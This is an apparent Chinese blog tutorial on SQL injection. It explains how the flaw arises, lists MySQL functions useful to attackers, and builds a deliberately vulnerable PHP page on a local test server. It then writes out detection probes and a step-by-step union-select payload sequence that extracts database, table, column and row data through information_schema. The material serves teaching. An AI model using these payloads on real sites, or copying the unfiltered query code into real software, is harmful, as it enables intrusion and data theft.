网站sql注入漏洞攻击原理


网站sql注入漏洞攻击原理

文章插图
 

1.注入原理
sql注入漏洞产生的原理是因为服务器对用户输入参数过滤不严格,将含有恶意代码的参数代入数据库查询语句中并执行 。
2.sql注入中常用的函数与语法
将select的查询结果全部显示出来,占一个显示位
Group_concat():
查询MySQL版本
select version():
查询数据库用户名
select user():
查询数据库名
select database():
查询数据库的绝对路径
select @@datadir():
select @@version_compile_os:查询操作系统版本
select current_user():查询当前用户
Order by: 找列的数量
Union select:联合查询(联合查询的条件是前一条语句查询不到且字段数与前一条语句的查询字段数一致)
limit:限制显示个数(如:limit 0 2 表示从第一个开始显示两个)
3.注入实例
环境:win7+phpstudy
部分代码实现(文件保存为sql.php)
<?php
error_reporting(0);
$id = $_GET['id'];
$con = mysql_connect('localhost','root','root');
if(!$con){
die('mysql connect failed');
}
mysql_select_db('test',$con) or die('failed to connect db');
$sql = "SELECT * FROM users WHERE id='{$id}'";
$result = mysql_query($sql);
if ($row = mysql_fetch_array($result)) {
echo "
姓名:$row[1] 绰号:$row[2]
";
}else{
echo mysql_error();
}
mysql_close($con);
?>
数据库代码
create database test; //创建数据库test
create table users(id int,name varchar(10),nicheng varchar(15)); //创建users表
insert into users values(1,'haha','haha');
insert into users values(2,'xixi','xixi'); //插入数据
  • 开phpstudy,访问sql.php

网站sql注入漏洞攻击原理

文章插图
 
  • 输入正确的ID,能够查询出数据

网站sql注入漏洞攻击原理

文章插图
 
  • 检测是否存在注入
数字型:and 1=1;and 1=2 判断是否存在注入字符型:' and '1'='1 ' and '1'='2搜索型: 关键字%' and 1=1 and '%'='% ; 关键字%' and 1=2 and '%'='%
  • 通过源代码我们可以知道这里对传入的ID没有做任何过滤所以可以开始构造恶意语句
?id=1' order by 3 --+ //判断字段数【网站sql注入漏洞攻击原理】?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

?id=-1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3 --+ //爆库
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),3 --+ //爆表
?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),3 --+ //爆字段
?id=-1' union select 1,(select 字段 from 数据库.表 limit 0,1),3 --+ //爆数据




    推荐阅读